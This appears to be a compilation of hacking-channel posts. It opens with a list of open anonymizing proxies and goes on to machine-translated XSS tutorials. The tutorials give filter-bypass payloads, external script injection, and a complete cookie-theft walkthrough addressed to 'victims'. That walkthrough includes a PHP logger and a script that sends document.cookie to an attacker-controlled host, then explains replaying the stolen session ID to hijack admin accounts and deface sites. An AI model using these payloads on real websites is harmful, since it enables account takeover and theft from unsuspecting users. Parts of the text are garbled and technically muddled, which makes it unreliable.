▁ ▂ ▄ ｕ𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑FRESH ELITE PROXIES 1 H
fbc.om/undercodeTesting


144.76.214.154 1080 1 hour ago
3125 ms 63% (53) de Germany Elite -
163.172.60.116 8118 1 hour ago
669 ms 8% (66) fr France Elite -
161.117.56.255 8000 1 hour ago
1329 ms 8% (82) sg Singapore Elite -
90.189.209.127 80 1 hour ago
3381 ms 20% (50) ru Russia Elite -
103.209.64.19 6666 1 hour ago
4641 ms 9% (74) in India - Valsad Elite -
122.226.57.70 8888 1 hour ago
1234 ms 57% (51) cn China Elite -
123.163.96.183 9999 1 hour ago
0 ms 0% (68) cn China - Beijing Elite -
139.255.42.156 8888 1 hour ago
3784 ms 32% (58) id Indonesia - Jakarta Elite -
34.87.96.183 80 1 hour ago
2562 ms 27% (26) us United States Elite -
39.105.28.28 8118 1 hour ago
1296 ms 3% (82) cn China - Hangzhou Elite -
218.203.132.117 808 1 hour ago
3134 ms 12% (84) cn China Elite -
39.137.107.98 8080 1 hour ago
2173 ms 10% (94) cn China Elite -


45.236.91.20 8880 1 hour ago
1005 ms 91% (41) eg Egypt Elite -
85.172.104.162 8000 1 hour ago
876 ms 68% (49) ru Russia - Gelendzhik Elite -
180.252.181.2 80 1 hour ago
1023 ms 100% (37) id Indonesia - Samarinda Elite -
183.223.241.242 80 1 hour ago
3319 ms 31% (53) cn China Elite -
188.40.183.187 1080 1 hour ago
2350 ms 45% (58) de Germany Elite -
192.117.146.110 80 1 hour ago
2986 ms 27% (64) il Israel - Haifa Elite -
188.40.183.185 1080 1 hour ago
2522 ms 28% (69) de Germany Elite -
114.99.54.65 8118 1 hour ago
1151 ms 16% (70) cn China - Anqing Elite -
153.121.36.194 8118 1 hour ago
1353 ms 9% (80) jp Japan - Tokyo Elite -
157.245.62.184 3000 1 hour ago
1485 ms 31% (68) sg Singapore Elite -
91.205.174.26 80 1 hour ago
736 ms 99% (51) de Germany - Munich Elite -
85.90.215.111 3128 1 hour ago
3692 ms 22% (83) ua Ukraine - Kharkiv Elite -
103.11.23.0 8085 1 hour ago
2803 ms 18% (70) id Indonesia Elite -
35.220.131.188 80 1 hour ago
925 ms 63% (53) us United States Elite -
218.58.193.98 8060 1 hour ago
1710 ms 19% (77) cn China - Linyi Elite -
34.92.94.5 8123 1 hour ago
2377 ms 19% (66) us United States Elite -
39.137.69.10 8080 1 hour ago
2964 ms 12% (52) cn China Elite -
46.235.53.26 3128 1 hour ago
1587 ms 59% (56) ru Russia - Moscow Elite -
52.161.188.149 80 1 hour ago
188 ms 100% (52) us United States Elite -
52.161.188.148 80 1 hour ago
176 ms 100% (44) us United States Elite -
47.75.71.222 3000 1 hour ago
2036 ms 49% (43) us United States Elite -
18.163.28.22 1080 1 hour ago
1276 ms 51% (57) hk Hong Kong Elite -
125.59.223.27 8380 1 hour ago
890 ms 33% (71) hk Hong Kong Elite -

@undercodeTesting
▁ ▂ ▄ ｕ𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

▁ ▂ ▄ ｕ𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑 Website Hacking – The Most Common Techniques

1) SQL Injection attacks. SQL Injection attack is the most common website hacking technique. ...

2) Cross Site Scripting (XSS) ...

3) Denial of Service (DoS/DDoS) ...

4) Cross-site request forgery (CSRF or XSRF) ...

5) DNS Spoofing (DNS cache poisoning) ...

6) Social engineering techniques. ...

7) Non-targeted website hacking.

@undercodeTesting
▁ ▂ ▄ ｕ𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

▁ ▂ ▄ ｕ𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑XSS tutorial, a complete method of cross-site scripting by undercode :
instagram.com/UndercodeTesting

🦑𝕃𝔼𝕋'𝕊 𝕊𝕋𝔸ℝ𝕋 :

1) Detection for XSS ***:
First, you must check if the website is vulnerable to an XSS
injection.

2) To do this, find a text input field on the νictim website. You enter text that must be displayed somewhere on the website. Some common XSS injection locations are your user name, signature, or member profile, a post or a forum topic, or search online, reflecting the contact information for your search ("your text search").

3) Once you find a website that meets the above requirements, you can enter a test injection location. <script> alert (1) </ script> Enter into the text field and submit the form. It should return an alert (popup) with the number

> Remember to try in multiple browsers, some like Google Chrome will not be affected, all XSS injections may not be able to create an alert.

4) Screening for tax evasion
, sometimes you νictims will try to prevent the input filter implemented by XSS injection. are a few options :

A) If it returns a blank / empty reflection or "invalid input" error, then the site is most likely to block the keywords <script> and </ SCRIPT>. You can bypass this filter if you change the script tag at all. For example, <SCRIPT> alert (1) </ SCRIPT> or <ScripT> alert (1) </ ScripT>

B) If it returns your script with surrounding quotes ("<script> alert (1) </ script>"), then you can try to close the script before starting the quotes. You can do this by adding "Previous Script>. For example,"> <script> alert (1) </ alert>. The negative factor of the quote is because when the script placed around the script is converted to plain text, and its function is not allowed.

C) If there is no <script> tag (only alert (1)) to return your script, then it is just to delete the tag, not to consider the entire input to be invalid. To bypass this just add another tag around the <script> tag. For example, <sc <script> ript> alert (1) </ sc </ script> ript>. The filter will automatically delete the tag to overwrite your input, so only <script> alert (1) </ script> will remain.

D) If the site does not allow you to post script tags at all, remind you that you can try hexadecimal encoding to your script. You can convert to hexadecimal by using XLATE or any other free ASCII. Once the hex version of your script, you can enter it like the ASCII version of the script you made, and it will all have the same result.

🦑 MaxLength limit:
In many cases, the input field will have a character that can be entered, and your script will sometimes exceed this limit, the amount limit. There are a few methods you can use to bypass this:

Method 1: On some websites, you will be able to increase the maximum characters allowed. To change the MaxLength, perform the following steps:
1. Right-click the input field
2. Click "Check Elements"
3. Find the line holding <input id = "query" type = "text" maxlength = "10" size = "13" name = "search_term"> increased number of maxlength =
"4. Submit the form. If it returns an error , Indicating that the information entered in the form is wrong, then the website is not susceptible to this.

🦑Method 2: XSS

> Upload the script to your server and enter it as the source. There are two ways to do this:
1. <img src = 'http: //baidu.com/YourScript.js'> </ IMG>
2. <script src = 'http: //baidu.com/YourScript.js'> </ SCRIPT>

4. *** Media:
There are two main types of XSS vulnerabilities, reflection and persistence. Reflect XSS is an input field that you fill in like a search bar, an email subscription field, or nothing will stay on the site permanently and will disappear as soon as you leave the page. These all need the effect with the help of social engineering. A persistent XSS vulnerability is used in fields such as comment, public profile information, or anything else, will stay on site and show the location on the site to others.

If you find a persistent XSS on the site, you will be able to run any script you want, including the ability to deface certain pages (I think most of you read what you
want if you find a reflective XSS). You can run scripts on websites like stealing cookies and CSRF, but it requires some social engineering. I think very useful cookie theft will explain why it is further in this tutorial, but I will also show you how to deface a website through a persistent XSS vulnerability.

▁ ▂ ▄ ｕ𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁


🦑HOW Theft of cookies ?
t.me/UndercodeTesting


1) Find the weak XSSI location on the website. Will we use Site.com/search.word? = (The script is here).

2) Your cookie is uploaded to the web server. You can use a paid web hosting like Go Daddy and hosting GATOR or similar free one

3) Open Notepad and paste the following:

PHP code:

<? php

$ cookie = $ _GET ['cookie'];

$ log = fopen ("log.txt", "a");

fwrite ($ log, $ cookie. "\ n");

fclose ($ log);

?>
It is saved as logger.php.

4) Upload logger.php to the root folder of the web server.

5) Add to the root folder, and a file named log.txt.

6) Add the following script to your XSS injection URL (replace baidu.com/logger.php with your website / logger.php).

Postcode: <SCRIPT> document.location = "http://www.baidu.com/logger.php?cookie =" + document.cookie; </ SCRIPT>
If you want this to be less obvious, then you can use another script to redirect them back to the ictim website after they visit your cookie recorder:

Postcode: <script language = "JavaScript"> document.location = "http://baidu.com/logger.php?cookie =" + document.cookie; document.location = "http://www.Site.com" </ SCRIPT>
7) Send the target XSS injected link. For example, we will baidu.com / search.word = <SCRIPT> document.location = "http://www.baidu.com/logger.php?cookie =" + document.cookie ;? </ SCRIPT>. If you don't want your target to see the script, you can go to hexadecimal encoding, just like scenario 4 for filtering tax evasion. Coded scripts only (Site.com/search.word after everything? =).

8) You have successfully recorded their cookies! Site.com sends them to your logger and you now have your own site.com cookies. Now, collect their PHPSESSID or any other session ID cookie you logged in.

9) Download the additional "Edit this cookie" Google Chrome and Mozilla Firefox.

10) Go edit this cookie and replace the session ID with them. Now click on "Submit Cookie Changes". Now you should record the management / target account. Now you can do anything that does not require you to enter your own password, delete a thread from a post or send a private message (if you are an administrator account), maybe deface the website, or ban members.

written by undercode
▁ ▂ ▄ ｕ𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

▁ ▂ ▄ ｕ𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑XSS cross-site scripting vulnerability
T.me/UndercodeTesting

> Since XSS Cross-Site Scripting (XSS) was born in 1996, it has experienced more than ten years of evolution. Because it is the same as the abbreviation of another web technology-Cascading Style Sheets (CSS), in order to prevent confusion, the original CSS is abbreviated as XSS.


🦑 Cross-site scripting attacks are a common web security vulnerability. The biggest feature of XSS is that it can inject malicious HTML / JavaScript code into the webpages browsed by users, which is caused by the insufficient filtering of user input by WEB applications. When users browse these When the web page, it will execute malicious code. Since HTML code and client-side JavaScript script can be executed arbitrarily in the browser on the victim's host, this is equivalent to completely controlling the logic of the WEB client. On this basis, hackers can easily initiate cookie theft, session hijacking, phishing spoofing, etc. Various attacks.

> XSS is very similar to CSRF, and it is easy to confuse. XSS uses trusted users in the site, and CSRF uses trusted websites by disguising requests from trusted users. The biggest difference between CSRF and XSS is that CSRF is not stolen. Take cookies but use them directly. XSS is to obtain information without knowing the codes and data packages of other user pages in advance. CSRF is to replace the user to complete the specified action, you need to know the code and data package of other user pages.

🦑 Attack process:


1) Some commonly used scripts
Use XSS bullet warning box:

<script> alert (' xss' ) </ script>

2) Get cookie value:

<script> alert ( document.cookie ) </ script>

3) Embed in other websites:

<iframe src = http: //siteexample.com width = 0 height = 0> </ iframe>

4) The XSS input may also be an HTML code segment, such as making the webpage refresh constantly:

<meta http- equiv = "refresh" content = "0;">

written by undercode
▁ ▂ ▄ ｕ𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑XSS CLASSIFICATIONS

▁ ▂ ▄ ｕ𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑classification:

1) Reflective XSS
Reflective XSS, also known as non-persistent XSS , is the most vulnerable XSS vulnerability. When a user accesses a URL request with XSS code , the server receives the data and processes it, and then sends the data with XSS code to the browser. After the browser parses the data with XSS code, the XSS vulnerability is eventually caused. .

2)Attack process: The user visited a dangerous website, and the server background responded to the execution statement of the page and responded to the browser, but the server background did not execute malicious code, but the browser executed malicious code. In this way, sensitive information such as cookies saved on the local browser may be stolen. The server acts as a springboard for reflection to launch an attack on the user's browser.

3) Phenomenon: The content entered by the user on the page will be displayed on the browser after the server responds; for example: you enter a user name haha, and a hello appears on the page after login! haha, this means that the local browser is performing your input, not the backend server.

4) test:

This is a reflective XSS page. You can see that we enter haha ​​here, and the page will also echo the word haha. Generally, such scenes are prone to XSS vulnerabilities.

🦑 When the browser's cookie value pops up, there is no privacy at all. If the account password is included in the cookie, the consequences will be disastrous. The attacker disguised the link, and then perfected the malicious script to steal the user's cookie value without knowing it.

If there is an XSS reflective cross-site vulnerability at http://test.com/xss1.php , the attacker's steps may be as follows:

1) test1 is a user of the website test.com and is currently logged in.

2) The attacker discovers that http://test.com/xss1.php has an XSS reflective cross-site vulnerability, and then carefully constructs JavaScript code, which can steal user cookies.

3) The attacker sends the URL with the reflective XSS vulnerability to the user test1 through the information in the station, and uses various inducement methods to allow the user test1 to open the link.

5) If user test1 opens a URL with XSS vulnerability, then his cookie will be sent to the attacker.

6)After receiving the session cookie of user test1, the attacker can directly use the cookie to log in to test.com as test1.
The above steps, through the use of reflective XSS vulnerabilities, can log in to the website as test1, which is its harm.


written by undercode
▁ ▂ ▄ ｕ𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

▁ ▂ ▄ ｕ𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑 Storage XSS ATTACK :
t.me/UndercodeTesting

🦑 𝕃𝔼𝕋'𝕊 𝕊𝕋𝔸ℝ𝕋 :


1) Storage XSS is also known as persistent XSS. Storage XSS is the most dangerous type of cross-site scripting. Web applications that allow users to store data may have storage XSS vulnerabilities. When an attacker submits a piece of XSS code, it is received and stored by the server. When the page is accessed again, this piece of XSS code is read by the program to respond to the browser Device, causing XSS cross-site attacks, this is the storage XSS.

2) The scenes of storage XSS are generally message boards, post bars, forums, etc., we take the message board as an example;

process

a) Insert message => store content in database

b)View message => content is extracted from the database

c)Content is displayed on the page

d)If the input is a malicious script, every time someone checks the message, it will be pushed to the front end by the server and then executed by the browser, so the general storage XSS is more harmful.

> Note : When testing whether XSS exists, we must first determine the input point and output point. For example: if we want to test the XSS vulnerability on the message content , we must first find whether the output (display) of the message content is within the tag or tag attribute inside , or elsewhere, if the output data in the property, then XSS is not executed, then we need to judge closed the property in advance the contents of the closure, submitting malicious scripts.

🦑test:

This is a message board where we can enter some malicious scripts

example via chineese site or ..

▁ ▂ ▄ ｕ𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑 DOM XSS

A) WHAT IS DOM XSS ?

> The full name of DOM is Document Object Model , which is the document object model. DOM is usually used to represent objects in HTML , XHTML and XML . Using DOM allows programs and scripts to dynamically access and update the content, structure, and style of documents.

> The entire HTML page can be reconstructed through JavaScript , and to reconstruct a page or an object in the page, JavaScript needs to know the "position" of all elements in the HTML document. The DOM provides a structured representation of the document and defines how to access the document structure through scripts. According to DOM regulations, each component in an HTML document is a node.

🦑 The DOM regulations are as follows:

> The entire document is a document node
> Each HTML tag is an element node
>The text contained in the HTML element is a text node
>Each HTML attribute is an attribute node
> There is a hierarchical relationship between nodes

1) Traditional types of XSS vulnerabilities (reflective or storage) generally appear in server-side code, and DOM XSS is a vulnerability based on the DOM document object model, so it is affected by the script code of the client browser. DOM XSS depends on the output location and does not depend on the output environment, so it can also be said that DOM XSS may be either reflective or storage, and it is simple to understand because its output point is in DOM .

🦑We can look at this script:

<?php
error_reporting(0);
$name = $_GET["name"];
?>
<input id="text" type="text" value="<?php echo $name;?>" />
<div id="print"></div>
<script type="text/javascript">
var text = document.getElementById("text");
var print = document.getElementById("print");
print.innerHTML = text.value;
</script>
We can see that this string of scripts submits the value of a name through GET. Our input input is in the value attribute. If we still enter the script as before, it will not be executed. Then we need to change our thinking .

<input id = "text" type = "text" value = "<script> alert (' xss ') </ script>" />

Close the input tag so that he is not in the value attribute. "/> After closing

<input id = "text" type = "text" value = "" /> <script> alert ('xss ') </ script> "/>

🦑We can see that this string of scripts submits the value of a name through GET. Our input input is in the value attribute. If we still enter the script as before, it will not be executed. Then we need to change our thinking .

<input id = "text" type = "text" value = "<script> alert (' xss ') </ script>" />

Close the input tag so that he is not in the value attribute. "/> After closing

<input id = "text" type = "text" value = "" /> <script> alert ('xss ') </ script> "/>

WRITTEN BY UNDERCODERS
▁ ▂ ▄ ｕ𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑 FULL XSS TUTORIAL BY UNDERCODE - BEGINERS & ADVANCED

T.me/UndercodeTesting